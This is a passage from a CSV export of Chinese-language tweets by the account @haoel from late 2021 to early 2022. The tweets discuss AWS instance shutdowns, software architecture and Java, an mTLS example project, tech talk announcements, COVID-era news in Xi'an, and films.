16:18:33+00:00,129,16,32,,看这贴就是好像看到了来你家装修工人说，“老子干活就是用钉子钉一切，什么螺丝、螺栓、卡扣、插销……通通不用，钉枪一把梭，方便，快捷，安全，干完早回家…… https://t.co/ykDSMgaUpX,\"[TextLink(text='v2ex.com/t/830030?p=1', url='https://www.v2ex.com/t/830030?p=1', tcourl='https://t.co/ykDSMgaUpX', indices=(76, 99))]\",https://twitter.com/haoel/status/1485648226091151370\n2451,1484537744500015105,2022-01-21 14:45:54+00:00,166,24,3,,\"这里是【全链路多重灰度发布】+【全链路压力测试】的分享视频。注：视频是重制的，优化了很多当天线上讲的不好的内容，也补充了很多当天在线没有讲的内容，包括更详细的技术细节和更完整的演示内容。\nhttps://t.co/ixwzGUVrn3\nhttps://t.co/wCIh7vVlbC\",\"[TextLink(text='bilibili.com/video/BV1NT4y1…', url='https://www.bilibili.com/video/BV1NT4y127oL/', tcourl='https://t.co/ixwzGUVrn3', indices=(94, 117)), TextLink(text='youtube.com/watch?v=giA4gr…', url='https://www.youtube.com/watch?v=giA4grfbaHw', tcourl='https://t.co/wCIh7vVlbC', indices=(118, 141))]\",https://twitter.com/haoel/status/1484537744500015105\n2452,1483796855351697409,2022-01-19 13:41:52+00:00,5,0,0,,@fujohnwang @kevinzhow 帮我设计的logo。 另外，这一页的PPT是我做的，你的审美很好,,https://twitter.com/haoel/status/1483796855351697409\n2453,1483664955748405248,2022-01-19 04:57:45+00:00,25,0,5,,大家别忘了今晚的分享（居然有760多人报名……）,,https://twitter.com/haoel/status/1483664955748405248\n2454,1483409596832043010,2022-01-18 12:03:02+00:00,0,0,0,,@fujohnwang 不胜荣幸,,https://twitter.com/haoel/status/1483409596832043010\n2455,1483363355079241728,2022-01-18 08:59:18+00:00,0,0,0,,@5452 Sorry,,https://twitter.com/haoel/status/1483363355079241728\n2456,1482965180132651009,2022-01-17 06:37:05+00:00,83,15,5,,我们准备本周三（北京时间2022年01月19日）晚上20：00，在线做一场关于【无侵入多的全链接多重灰度发布和全链路压力测试】的技术研讨和相关的在线演示。报名链接如下：https://t.co/vvwbCdVrGw https://t.co/9JducRGmWY,\"[TextLink(text='meeting.tencent.com/dw/sjbrdEe7OWS3', url='https://meeting.tencent.com/dw/sjbrdEe7OWS3', tcourl='https://t.co/vvwbCdVrGw', indices=(84, 107))]\",https://twitter.com/haoel/status/1482965180132651009\n2457,1482580690252091394,2022-01-16 05:09:16+00:00,87,1,9,,@waylybaye 人生路漫漫，还有更多更烦更乱的事情等着你，慢慢的，你就会明白装修这点事不值一提了……,,https://twitter.com/haoel/status/1482580690252091394\n2458,1482347942757289986,2022-01-15 13:44:24+00:00,38,4,0,,发现 Amazon Prime Video 上好些足球纪录片，简直太帅了！ https://t.co/kZPCCFKlaV,,https://twitter.com/haoel/status/1482347942757289986\n2459,1482156690568998912,2022-01-15 01:04:26+00:00,19,6,2,,@kenwong__ 还是给一个相对完整的视频：https://t.co/NW3ioAIY4I,\"[TextLink(text='m.weibo.cn/1283431191/472…', url='https://m.weibo.cn/1283431191/4725669201711752', tcourl='https://t.co/NW3ioAIY4I', indices=(24, 47))]\",https://twitter.com/haoel/status/1482156690568998912\n2460,1481987735707533317,2022-01-14 13:53:04+00:00,7,0,5,,各位，我不近视啊，我的视力一直 左5.2/右5.3 啊……,,https://twitter.com/haoel/status/1481987735707533317\n2461,1481608798108143623,2022-01-13 12:47:19+00:00,62,2,6,,2）另一推友说，你数据存主机是你的架构太差，你的程序就不应该有状态，环境配置和数据都放在别处，要能做倒随时可以重建，这样，你就不怕重置你的服务器……我的架构做稳做的好，并不代表你能强行停止并重置我的服务器啊。你被别人铁拳，是怪你自己不会防守闪躲，而且体质太差……这逻辑似曾相似啊😅,,https://twitter.com/haoel/status/1481608798108143623\n2462,1481608796359168002,2022-01-13 12:47:18+00:00,35,4,10,,我吐槽AWS强行停EC2实例，并且不管用户数据是否会丢失。来了几个推友教育我。摘录两个：1）有推友说，这正是AWS的设计，要假定实例会挂，上层的应用针对这个问题设计，从而可以做无限伸缩。照这逻辑来讲——AWS要应该再差些，故障率和强行停机再多一些，那用户架构的鲁捧性就会更好……这逻辑没问题啊😂,,https://twitter.com/haoel/status/1481608796359168002\n2463,1481549822335209474,2022-01-13 08:52:58+00:00,0,0,1,,@zhimin_zhang LG 的，这个链接：https://t.co/bxstt74cRs,\"[TextLink(text='item.m.jd.com/product/100019…', url='https://item.m.jd.com/product/100019073768.html', tcourl='https://t.co/bxstt74cRs', indices=(24, 47))]\",https://twitter.com/haoel/status/1481549822335209474\n2464,1481246801797681153,2022-01-12 12:48:52+00:00,4,0,1,,@nishuang 来算个 87 x 98 看你画线快还是竖式快😜,,https://twitter.com/haoel/status/1481246801797681153\n2465,1481230046123597831,2022-01-12 11:42:17+00:00,0,0,1,,@realdapeng 你们都忍了？,,https://twitter.com/haoel/status/1481230046123597831\n2466,1481195959858065410,2022-01-12 09:26:50+00:00,2,0,1,,@CatChen 这跟设计没关系。这是计划内的停机，是有时间操作的，不需要强制进行停机的，而且，在停机前自动化做个快照和镜像也是可以操作的，不需要丢失数据的，停机后，也可以自动化重启一下的，而不是停完就不管了。总之，计划性的事就要干得有计划，而不是干的像故障一样。,,https://twitter.com/haoel/status/1481195959858065410\n2467,1481186500117078016,2022-01-12 08:49:15+00:00,3,0,1,,@forrest_zhao @fujohnwang 我以前在路透写的技术操作文档都是找HR来测试……,,https://twitter.com/haoel/status/1481186500117078016\n2468,1481121888638160897,2022-01-12 04:32:30+00:00,1,0,0,,@C6NMyrt 🥰,,https://twitter.com/haoel/status/1481121888638160897\n2469,1481117669818441733,2022-01-12 04:15:44+00:00,23,0,5,,这里面有几个槽点：1）在没有用户的确认下，就直接操作了（邮件在我看到的时候，已经是1月11日了）2）这个邮件中说，你的数据会被删除，难道不能先帮用户做一个全系统镜像再停止么？3）为什么停止前几天没有邮件通知，停止时也没有邮件通知？4）停止后为什么不帮启动，而是停止完了就完了？,,https://twitter.com/haoel/status/1481117669818441733\n2470,1481115802728206341,2022-01-12 04:08:19+00:00,6,1,1,,@C6NMyrt @laixintao 我给的那个stackoverflow的链接你要仔细看啊，答案都在里面了…… 查看 /proc/&lt;pid&gt; 这个目录的创建时间没问题，但是：1）不标准，只能在某些版本上的Linux上用，mac上用不了。2）没有完成需求，需求要的是运行了多长时间，而不是什么时候启动的，你要还要自己做个时间的减法。明白了吗？,,https://twitter.com/haoel/status/1481115802728206341\n2471,1481041050676260870,2022-01-11 23:11:17+00:00,78,5,2,,@laixintao 这个并不好，还是应该看/proc/&lt;pid&gt;/stat，或使用 ps -o etime -p &lt;pid&gt;命令 https://t.co/0N5q0PNHIo,\"[TextLink(text='unix.stackexchange.com/questions/7870…', url='https://unix.stackexchange.com/questions/7870/how-to-check-how-long-a-process-has-been-running', tcourl='https://t.co/0N5q0PNHIo', indices=(78, 101))]\",https://twitter.com/haoel/status/1481041050676260870\n2472,1480888292727918596,2022-01-11 13:04:17+00:00,139,15,45,,AWS中国就这种服务水平了么？硬件更换时，直接停你的机。我就等到1月10日中午12:00，果然直接停止实例。我在想，这都2202年了，不帮用户做迁移，而是直接停机了就不管了，连帮用户启动都懒得干，还要用户自己来。你们是是咋想的？ Customer Obsession 呢？ https://t.co/J4ZUCsPv2K,,https://twitter.com/haoel/status/1480888292727918596\n2473,1480876215879680002,2022-01-11 12:16:17+00:00,33,1,2,,@shajiabiji https://t.co/iHN546piwP,,https://twitter.com/haoel/status/1480876215879680002\n2474,1480713569624674307,2022-01-11 01:29:59+00:00,0,0,0,,@AyiyoA 我估计也是,,https://twitter.com/haoel/status/1480713569624674307\n2475,1480709746810253313,2022-01-11 01:14:48+00:00,152,7,29,,今早看到 Apple TV 推送的 俯看中国广西省龙脊梯田 的屏保，惊艳到我了…… https://t.co/yTaiZ7nCNt,,https://twitter.com/haoel/status/1480709746810253313\n2476,1480338784654741504,2022-01-10 00:40:44+00:00,1,0,0,,@erjinxia 明星像👍🏻,,https://twitter.com/haoel/status/1480338784654741504\n2477,1479433849201324034,2022-01-07 12:44:50+00:00,2,0,0,,@mohistzh 看成“女儿被牛奶泡了个把小时”……,,https://twitter.com/haoel/status/1479433849201324034\n2478,1479382622014869504,2022-01-07 09:21:17+00:00,34,8,0,,\"录播\n- B站：https://t.co/QrT0SC1UeD\n- Y站：https://t.co/XvUNyUMQRd\n- PPT：https://t.co/Ei2aUegakC\",\"[TextLink(text='bilibili.com/video/BV1zS4y1…', url='https://www.bilibili.com/video/BV1zS4y1T73m/', tcourl='https://t.co/QrT0SC1UeD', indices=(8, 31)), TextLink(text='youtube.com/watch?v=eqKHs0…', url='https://www.youtube.com/watch?v=eqKHs05NUlg', tcourl='https://t.co/XvUNyUMQRd', indices=(37, 60)), TextLink(text='1drv.ms/b/s!Ag79qeIwr0…', url='https://1drv.ms/b/s!Ag79qeIwr0Usji4vgD2mEX-28tfZ', tcourl='https://t.co/Ei2aUegakC', indices=(67, 90))]\",https://twitter.com/haoel/status/1479382622014869504\n2479,1479103495349305353,2022-01-06 14:52:08+00:00,1,0,1,,@gilbertwat 我这么主动？,,https://twitter.com/haoel/status/1479103495349305353\n2480,1479102136201801732,2022-01-06 14:46:44+00:00,137,18,34,,\"今天微博上的几个tag，看的我心情压抑得不行……病毒还没整死人，人却先把自己整死……病毒都慌了……\n\n一一一一一\n\n#西安孕妇流产事件相关责任人被处理#\n\n#太阳花花花00000#\n\n#西安一男子连续被3家医院拒诊最终猝死#\n\n#西安又一孕妇流产 警察护送被拒诊#\",,https://twitter.com/haoel/status/1479102136201801732\n2481,1479033767905824768,2022-01-06 10:15:04+00:00,6,0,0,,@kevinzhow 你在给妹子拍照片,,https://twitter.com/haoel/status/1479033767905824768\n2482,1479027777068498944,2022-01-06 09:51:15+00:00,494,24,24,,今天见到老朋友前饿了么的CTO，他又一次感谢了我以前对饿了么异地多活的执着的坚持，他说，当时包括他自己在内的很多人都持保守意见，就是我跟他们一部门经理坚持，最后证明做对了，挽救了很多次。我有点动容，我活到现在就是靠这些认可支撑了，我对技术的激进和执着在很大一部分人看来是不切实际的…,,https://twitter.com/haoel/status/1479027777068498944\n2483,1478993746200956928,2022-01-06 07:36:02+00:00,0,0,1,,@renhuailin 你用了哪个方案？,,https://twitter.com/haoel/status/1478993746200956928\n2484,1478952618189733891,2022-01-06 04:52:36+00:00,14,2,0,,@kou_uhi https://t.co/YJleHRJMmR,\"[TextLink(text='asciiflow.com', url='https://asciiflow.com/', tcourl='https://t.co/YJleHRJMmR', indices=(9, 32))]\",https://twitter.com/haoel/status/1478952618189733891\n2485,1478950962005884928,2022-01-06 04:46:01+00:00,51,6,0,,我们花了2-3个月来重构了这个JavaAgent，让其支持插件机制，可以更为方便和容易的扩展。这个JavaAgent目前用于我们的服务网格EaseMesh，大家也可以拿出自由扩展，这个组件可以灵活地集成到你现有的监控系统中，让你的监控系统更为的统一而不再分裂……欢迎大家多提意见……,,https://twitter.com/haoel/status/1478950962005884928\n2486,1478941875746738176,2022-01-06 04:09:55+00:00,486,76,10,,【科学上网】增加一节：数据中心透明网关，针对AWS和 Kuberenetes 进行透明网关的配置说明。希望对大家有帮助。https://t.co/xLvNQFCmbC https://t.co/777Z0tyaBt,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io#8-%E6%95%B0%E6%8D%AE%E4%B8%AD%E5%BF%83%E9%80%8F%E6%98%8E%E7%BD%91%E5%85%B3', tcourl='https://t.co/xLvNQFCmbC', indices=(60, 83))]\",https://twitter.com/haoel/status/1478941875746738176\n2487,1477993275525328901,2022-01-03 13:20:31+00:00,0,0,0,,@qihansong 多谢🙏,,https://twitter.com/haoel/status/1477993275525328901\n2488,1477973603027394560,2022-01-03 12:02:21+00:00,7,0,10,,万能推友，问一下，为什么这几天没有了从北京到昆明直飞的航班？以前可是一天有几十班直飞的……,,https://twitter.com/haoel/status/1477973603027394560\n2489,1477887122627432449,2022-01-03 06:18:42+00:00,0,0,1,,@dastanng 求教：CN或SAN怎么个校验法,,https://twitter.com/haoel/status/1477887122627432449\n2490,1477886961138339840,2022-01-03 06:18:04+00:00,15,0,3,,这样的一个example 居然还有人来给我提需求……😅 https://t.co/rDJXrS5LnX,,https://twitter.com/haoel/status/1477886961138339840\n2491,1477563988649328646,2022-01-02 08:54:41+00:00,0,0,1,,@HeseyWang 云旅游,,https://twitter.com/haoel/status/1477563988649328646\n2492,1477560679288606720,2022-01-02 08:41:32+00:00,115,21,1,,【网络数字身份认证术】这篇文章是《HTTP API 认证授权术》的姊妹篇，主要想说的是另一个话题——身份认证。也就是说，怎么确认这个数据就是这个人发出来的？其中主要就是非对称加密，证书，mTLS的内容。纯科普型文章。https://t.co/z7juMwisO0,\"[TextLink(text='coolshell.cn/articles/21708…', url='https://coolshell.cn/articles/21708.html', tcourl='https://t.co/z7juMwisO0', indices=(108, 131))]\",https://twitter.com/haoel/status/1477560679288606720\n2493,1477510953566879744,2022-01-02 05:23:56+00:00,0,0,0,,@C88888888A @madawei2699 @yetone 👍🏻👍🏻这个不错,,https://twitter.com/haoel/status/1477510953566879744\n2494,1477486637894434817,2022-01-02 03:47:19+00:00,64,0,19,,另外，还有的人说，这样干活不累，如果你想要不累的话，你要用工具啊…… 下图是这样的小车我家有三个（还有一个在车上），这样的小车，我们小区里随时都能见得到，我完全不相信一个小区里找不到这样的小车…… https://t.co/pkX6ezli2p,,https://twitter.com/haoel/status/1477486637894434817\n2495,1477486625898647553,2022-01-02 03:47:16+00:00,48,0,5,,我本意是发一个段子，结果来了些“程序员杠精”。有的说带宽不够，有的说最后进小区的地方不够 28 个人同时写……都是程序员，你们自己就不能做下性能调优吗？，你们有没有想过，这 28 个人可以每个人间隔 2 秒的，而不用在同一时间进行作业的……,,https://twitter.com/haoel/status/1477486625898647553\n2496,1477482161217228800,2022-01-02 03:29:32+00:00,2,0,0,,@jianghua_yjh @iPaulCanada 又不是说有几万包菜，这里也就几百包菜，不要持久 ……,,https://twitter.com/haoel/status/1477482161217228800\n2497,1477481926965411844,2022-01-02 03:28:36+00:00,12,0,1,,@liul85 @iPaulCanada 回程20 秒不够你休息的吗？这点100 米都没有的路程，还谈功耗？,,https://twitter.com/haoel/status/1477481926965411844\n2498,1477481150016749571,2022-01-02 03:25:31+00:00,5,1,2,,@milesli3 你有一定的思考能力，不过还是不够，你只要再稍微深入思考一下，你就知道，带宽不是只有宽度的，还有长度的，大家不是一起行动的，而且错 2 秒挨个走的……,,https://twitter.com/haoel/status/1477481150016749571\n2499,1477478644507316226,2022-01-02 03:15:33+00:00,1,0,3,,@madawei2699 @yetone 这样的推车我家有三个，还有一个在车里…我真不信西安一个小区里面没人会有这种工具． https://t.co/OPk1eQgsuo,,https://twitter.com/haoel/status/1477478644507316226\n2500,1477466710785818624,2022-01-02 02:28:08+00:00,14,0,2,,@madawei2699 面对20斤的货物，应该想到的是用工具，而不是使蛮力……想想，平时每天小区里跑的各种物流公司的那些小车……,,https://twitter.com/haoel/status/1477466710785818624\n2501,1477464307487371271,2022-01-02 02:18:35+00:00,258,9,21,,@iPaulCanada 可以看出，视频长30秒，每包菜传递到下一个人大概1秒左右，每两包菜中间有两个人空闲，所以，速度是每3秒一包菜，即20包/分。我们来看看全并发的吞吐，每人拎两包菜从起点到终点，视频可见28个人（加上摄影师），一个来回一分钟，吞吐量也能在56包/分钟……这种同步队列性能就是不行……,,https://twitter.com/haoel/status/1477464307487371271\n2502,1477463912459436035,2022-01-02 02:17:01+00:00,263,33,45,,可以看出，视频长30秒，每包菜传递到下一个人大概1秒左右，每两包菜中间有两个人空闲，所以，速度是每3秒一包菜，即20包/分。我们来看看全并发的吞吐，每人拧两包菜从起点到终点，视频可见28个人（加上摄影师），一个来回一分钟，吞吐量也能在56包/分钟……这种同步队列性能就是不行……,,https://twitter.com/haoel/status/1477463912459436035\n2503,1477289926240604162,2022-01-01 14:45:39+00:00,120,10,19,,@iPaulCanada 这个事让我可怕的点很多，最令我可怕的是这个视频是老师自己录的，说明老师觉得这么做就是对的！那么问题来了，是什么给了老师如此的自信和如此的价值观呢？越想我越害怕……,,https://twitter.com/haoel/status/1477289926240604162\n2504,1477257066544709634,2022-01-01 12:35:05+00:00,1,0,0,,\"@KGEK18 70后标配、罗大佑，齐秦，张国荣，谭咏麟，赵传，Beyond……\n\n不过，我是听摇滚乐的……😂\",,https://twitter.com/haoel/status/1477257066544709634\n2505,1477151474102595588,2022-01-01 05:35:30+00:00,23,0,2,,@songma 可能过不了多久，我们都会说，我这一生最大的感觉就是：时间过得太快。,,https://twitter.com/haoel/status/1477151474102595588\n2506,1477067749851471875,2022-01-01 00:02:48+00:00,64,3,2,,Happy New Year 2022 at UTC https://t.co/bXZVqHyIOT,,https://twitter.com/haoel/status/1477067749851471875\n2507,1476949267637932033,2021-12-31 16:12:00+00:00,0,0,0,,@spa48229814 https://t.co/Tzvg1WFDlq,\"[TextLink(text='timeanddate.com/worldclock/tim…', url='https://www.timeanddate.com/worldclock/timezone/utc', tcourl='https://t.co/Tzvg1WFDlq', indices=(13, 36))]\",https://twitter.com/haoel/status/1476949267637932033\n2508,1476947008837488641,2021-12-31 16:03:01+00:00,266,6,16,,已经到了GMT+8的2022年1月1日，作为一个严谨的程序员，我会在UTC的时间，祝大家新年快乐！😜,,https://twitter.com/haoel/status/1476947008837488641\n2509,1476946188163170304,2021-12-31 15:59:46+00:00,80,22,33,,太可怕了😱……,,https://twitter.com/haoel/status/1476946188163170304\n2510,1476940932922548230,2021-12-31 15:38:53+00:00,40,7,8,,并不觉的这个case QA能测出来，这是没有code review ，没有走最佳实践，喜欢用字符串玩日期操作。银行里有大量的QA，但是很多重要的程序还在用字符串处理日期。这就跟中国的公司喜欢用GMT+8的时间而不是UTC一样，跟有没有QA没什么关系，纯粹就是没人定研发规范……,,https://twitter.com/haoel/status/1476940932922548230\n2511,1476905022084431877,2021-12-31 13:16:11+00:00,2,0,1,,@File_helper ✌️新年快乐🎉🎊🎈,,https://twitter.com/haoel/status/1476905022084431877\n2512,1476904609423638537,2021-12-31 13:14:33+00:00,0,0,0,,@XLe0ng OK,,https://twitter.com/haoel/status/1476904609423638537\n2513,1476903366806499334,2021-12-31 13:09:36+00:00,0,0,1,,@File_helper 私信已读🤣,,https://twitter.com/haoel/status/1476903366806499334\n2514,1476896636005617664,2021-12-31 12:42:52+00:00,3,1,0,,@laoyang945 我相信林子祥张雨生李娜一定不会同意你的……,,https://twitter.com/haoel/status/1476896636005617664\n2515,1476895983212449793,2021-12-31 12:40:16+00:00,0,0,7,,@XLe0ng 可能是我以前从来没关注过他。劳驾推荐一个他的有实力的歌……谢谢,,https://twitter.com/haoel/status/1476895983212449793\n2516,1476894577965428741,2021-12-31 12:34:41+00:00,198,14,33,,家人在看江苏卫视的2022跨年晚会，在边上听到，陈伟霆《男儿当自强》，萧敬腾《我的未来不是梦》，薛之谦《黄土高坡》……我真的很庆幸我年轻的时候不是这些“塑料名星”伴我成长，不然的话，要是年轻的我听的是这种版本，我的身心健康和审美取向一定会出问题的……,,https://twitter.com/haoel/status/1476894577965428741\n2517,1476826677686652928,2021-12-31 08:04:52+00:00,0,0,0,,@syh_hopes 谢谢，谢谢！小问题，无大碍,,https://twitter.com/haoel/status/1476826677686652928\n2518,1476826206443950082,2021-12-31 08:03:00+00:00,0,0,0,,@forrest_zhao 没事儿，小问题。,,https://twitter.com/haoel/status/1476826206443950082\n2519,1476818909088993281,2021-12-31 07:34:00+00:00,0,0,1,,@mgai @tinyfool 知道 GFW 的厉害之处了吧……,,https://twitter.com/haoel/status/1476818909088993281\n2520,1476816175162015754,2021-12-31 07:23:08+00:00,14,0,7,,大家帮我看看有什么可以改善的。比如：1）我是用一个 CA 签服务端和所所有的客户端，是否合适。2）golang 有没有 mTLS 的认证缓存来提升性能。3）其它我不知道的事……,,https://twitter.com/haoel/status/1476816175162015754\n2521,1476810494899941376,2021-12-31 07:00:34+00:00,183,15,9,,这两天体有点病痛，在家休息，今天好些了，正好在看 mTLS 的东西，顺手写了一个 example 的程序，从如何生成证书到 golang 在 server 和 client 通信，该有的细节应该都涉及到了。如果大家感兴趣，改天有时间写篇 blog。 https://t.co/EVTvlexmqY,\"[TextLink(text='github.com/haoel/mTLS', url='https://github.com/haoel/mTLS', tcourl='https://t.co/EVTvlexmqY', indices=(125, 148))]\",https://twitter.com/haoel/status/1476810494899941376\n2522,1476640479361986575,2021-12-30 19:44:59+00:00,1,0,1,,@mgai @tinyfool AWS的导师逻辑怕是有问题，GFW防的是中国到世界，世界访问中国畅通无阻啊……,,https://twitter.com/haoel/status/1476640479361986575\n2523,1476435166575104000,2021-12-30 06:09:09+00:00,113,6,13,,@tinyfool 不是不知道，是好多人都已觉得 GFW 是合理的了……,,https://twitter.com/haoel/status/1476435166575104000\n2524,1475046392930643979,2021-12-26 10:10:39+00:00,0,0,1,,@AsdFlay2013 @oliverchan10 好像地球上只有一个人活下来……😂,,https://twitter.com/haoel/status/1475046392930643979\n2525,1474962799424339972,2021-12-26 04:38:29+00:00,235,21,14,,Netflix 的新剧 Don’t Look Up - 高级的讽刺幽默，团灭全人类，太喜欢了…… https://t.co/nH27sdV7if,,https://twitter.com/haoel/status/1474962799424339972\n2526,1474604205063086080,2021-12-25 04:53:33+00:00,0,0,1,,@tinyfool HBO Max,,https://twitter.com/haoel/status/1474604205063086080\n2527,1474423588644003848,2021-12-24 16:55:51+00:00,3,0,0,,补个短发片花…… https://t.co/N7F4XGZrSu,,https://twitter.com/haoel/status/1474423588644003848\n2528,1474421463570862085,2021-12-24 16:47:24+00:00,54,1,19,,黑客帝国4，怀旧之作，还是推荐一看吧…… https://t.co/UwWkqsh1AI,,https://twitter.com/haoel/status/1474421463570862085\n2529,1473971602329059335,2021-12-23 10:59:49+00:00,0,0,1,,@kevinzhow 我刚又续了3年，淘宝上645元,,https://twitter.com/haoel/status/1473971602329059335\n2530,1473944814043369472,2021-12-23 09:13:22+00:00,62,0,4,,以前不用微信的公众号，昨天我的那边做架构的文章以“原创”的方式加到公司的公众号后，然后，有好些人来说要开白名单后才能转载，还学会了什么叫单白和双白……发现了一个很好的功能，这样可以阻止全网微信公众号转我的文章……真是太好了……就烦一些乱七八糟的公众号转我的文章……,,https://twitter.com/haoel/status/1473944814043369472\n2531,1473935375760457730,2021-12-23 08:35:52+00:00,0,0,0,,@njubinbin 好的！,,https://twitter.com/haoel/status/1473935375760457730\n2532,1473935071329468417,2021-12-23 08:34:40+00:00,3,0,0,,@lyz1990 不止三种……😂 https://t.co/es1A1gElIG,,https://twitter.com/haoel/status/1473935071329468417\n2533,1473903230807523329,2021-12-23 06:28:08+00:00,0,0,0,,@keye3stone 放假是明天的，分享是今天的,,https://twitter.com/haoel/status/1473903230807523329\n2534,1473850323240292352,2021-12-23 02:57:54+00:00,547,15,35,,我司的请假系统只需要在Slack的#random 频道里说一句话就好了，无任何审批。西方的同学要去过圣诞节，那就平等对待，全体放假半天…… https://t.co/KWTbFy62eZ,,https://twitter.com/haoel/status/1473850323240292352\n2535,1473826764891648002,2021-12-23 01:24:17+00:00,44,5,1,,大家别忘了今天晚上的这个分享,,https://twitter.com/haoel/status/1473826764891648002\n2536,1473555283175960578,2021-12-22 07:25:31+00:00,0,0,0,,@ijuntao 了解了 ，以后我会注意了。但你也回头看一下你的回复，是否有抬杠的行为……,,https://twitter.com/haoel/status/1473555283175960578\n2537,1473553645086318596,2021-12-22 07:19:00+00:00,5,0,2,,@tinyfool 大叔 TV 走起……,,https://twitter.com/haoel/status/1473553645086318596\n2538,1473541869695270913,2021-12-22 06:32:13+00:00,0,0,1,,@outrunGFW @bog_yuna 我知道问题所在了，无论单体还是分布式，我说的不是语言，而这个语言的生态和技术栈。你问问你自己，开发一个软件的时候，你会选择小众和生态不好的语言吗？Java 的生态是最好的，这个毋庸置疑吧……,,https://twitter.com/haoel/status/1473541869695270913\n2539,1473540931668541440,2021-12-22 06:28:29+00:00,0,0,1,,@ijuntao 我说“杠精啊”的语气是“戏谑”，一种诙谐地用来取笑对方的无恶意的方式……日常中很多这样的表达方式，比如：“变态啊”……等等……我的真没有冒犯你的意思，如果让你不舒服了，跟你道歉！,,https://twitter.com/haoel/status/1473540931668541440\n2540,1473512230129782784,2021-12-22 04:34:26+00:00,0,0,1,,@outrunGFW @bog_yuna 当然有关系……,,https://twitter.com/haoel/status/1473512230129782784\n2541,1473503966231089154,2021-12-22 04:01:36+00:00,0,0,1,,@ijuntao 杠精啊。1）小技巧，2）看招聘公司，2）职位描述……你要读完整啊……,,https://twitter.com/haoel/status/1473503966231089154\n2542,1473457500972146688,2021-12-22 00:56:58+00:00,28,0,1,,另外，对一个技术是否主流的判断，有一个小技巧，上招聘网站上搜一下这个技术的招聘岗位数就知道了。我经常上 Linkedin 上搜一些技术的招聘的岗位和相关的公司的职位描述以了解这门技术的使用情况……,,https://twitter.com/haoel/status/1473457500972146688\n2543,1473457498908549120,2021-12-22 00:56:57+00:00,23,4,13,,一些有主观喜好的人一对我这篇文章对 Java 的描述感到不适，说明一下——全中国所有的电商平台，几百家银行，三大电信运营商，所有的保险公司，劵商的系统，医院里的系统，电子政府系统，等等，基本都是用 Java 开发的，包括 AWS 的主流语言也是 Java……,,https://twitter.com/haoel/status/1473457498908549120\n2544,1473284370463027202,2021-12-21 13:29:00+00:00,3,0,0,,@frankwyw7 😅😅,,https://twitter.com/haoel/status/1473284370463027202\n2545,1473279675451330560,2021-12-21 13:10:21+00:00,160,17,18,,“娱乐圈的日内瓦”？！ https://t.co/4hUSiE8jD8,,https://twitter.com/haoel/status/1473279675451330560\n2546,1473263259331756034,2021-12-21 12:05:07+00:00,14,0,1,,@baicuo 你的观点没有数据支撑啊。我给你数据：全中国所有的电商平台，400  家银行，三大电信运营商，所有的保险公司，劵商的系统，医院里的系统，电子政府系统，等等，都是用 Java 开发的。我对我说的话负责到底，对于很多公司的业务系统，如无脑选的话，就选 Java……如果不是 Java，你告诉要选什么？,,https://twitter.com/haoel/status/1473263259331756034\n2547,1473239575178870792,2021-12-21 10:31:00+00:00,0,0,0,,@LiangHanquan 安全不是我的专长……,,https://twitter.com/haoel/status/1473239575178870792\n2548,1473238549474398209,2021-12-21 10:26:56+00:00,1,0,0,,@7lemon @xiaoliwe 我的天哪……尴尬了……,,https://twitter.com/haoel/status/1473238549474398209\n2549,1473236412820455425,2021-12-21 10:18:26+00:00,1,0,1,,@baicuo 我用数据做分析结果，这世界上绝大多数重要的业务系统都运行在Java里，包括AWS……而你结论的依据是什么？个人喜好么？,,https://twitter.com/haoel/status/1473236412820455425\n2550,1473235636765093888,2021-12-21 10:15:21+00:00,2,0,2,,@CrazyBunnyDoll 这样的文章会流行挺正常的，一会让大多数平庸人为自己的平庸找到了理所应当认同……,,https://twitter.com/haoel/status/1473235636765093888\n2551,1473225908379320322,2021-12-21 09:36:42+00:00,3,0,2,,@baicuo 我当然确信……,,https://twitter.com/haoel/status/1473225908379320322\n2552,1473215064408993792,2021-12-21 08:53:37+00:00,3,0,1,,@xiaoliwe 嗯，我一会把这些错别定仔细过一遍,,https://twitter.com/haoel/status/1473215064408993792\n2553,1473202816114376710,2021-12-21 08:04:56+00:00,697,189,20,,\"【我做架构的一些原则】工作 20 年来看到了很多公司的很多的系统架构，相关的经历也越来越多，所以，逐渐形成了自己的逻辑和方法论。写下这篇文章，除了总结个人的经验和想法，供人参考和借鉴。同时，也是针对于现有市面上众多不合理的架构和方案，也作一种“纠正”……\nhttps://t.co/ne03PazvLx\",\"[TextLink(text='coolshell.cn/articles/21672…', url='https://coolshell.cn/articles/21672.html', tcourl='https://t.co/ne03PazvLx', indices=(128, 151))]\",https://twitter.com/haoel/status/1473202816114376710\n2554,1473181408478707713,2021-12-21 06:39:52+00:00,626,56,15,,Neo  &amp; Trinity https://t.co/3Sk3Ojyf4G,,https://twitter.com/haoel/status/1473181408478707713\n2555,1473108927617253378,2021-12-21 01:51:52+00:00,3,0,0,,@tinyfool 语文老师说，双方都有很多低级错别字，说明错别字不重要，内容才重要。,,https://twitter.com/haoel/status/1473108927617253378\n2556,1472902609736712196,2021-12-20 12:12:02+00:00,131,17,6,,\"本周四，我们邀请Kube-OVN 项目发起人刘梦馨给我们做个分享《容器网络性能优化之旅》\n- 容器网络性能测试以及 Profile 方法\n- 网络性能瓶颈分析及优化过程\n- 后续可能的优化方法和方向\n————\n时间：2021/12/23 20:00-21:30 (GMT+08:00) \nhttps://t.co/Q7I26gSuNa\n腾讯会议：104-529-618\n会议密码：1024\",\"[TextLink(text='meeting.tencent.com/dm/ymai1adz42Qg', url='https://meeting.tencent.com/dm/ymai1adz42Qg', tcourl='https://t.co/Q7I26gSuNa', indices=(144, 167))]\",https://twitter.com/haoel/status/1472902609736712196\n2557,1472898332825579523,2021-12-20 11:55:02+00:00,19,0,3,,@JmPotat0 期待你的 Next blog post: 我为什么不再喜欢 Rust 了……🤪😜,,https://twitter.com/haoel/status/1472898332825579523\n2558,1472732163158069248,2021-12-20 00:54:44+00:00,0,0,0,,@MHC21839026 Fine,,https://twitter.com/haoel/status/1472732163158069248\n2559,1472538757958029313,2021-12-19 12:06:13+00:00,14,2,0,,最后有一个  Golang 的高并发下标准库的诡异的问题，大家可以了解一下，https://t.co/wVcDVLxzl2,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/issues/407', tcourl='https://t.co/wVcDVLxzl2', indices=(38, 61))]\",https://twitter.com/haoel/status/1472538757958029313\n2560,1472537321325367297,2021-12-19 12:00:30+00:00,123,15,1,,\"前几天，我们在线分享了 Easegress 源码介绍，因为觉得人不会多，所以使用了 100 人限制的 zoom，结果来的人数太多，很多人进不来。下面是Easegress 源码介绍的录播。在 Youtube 和 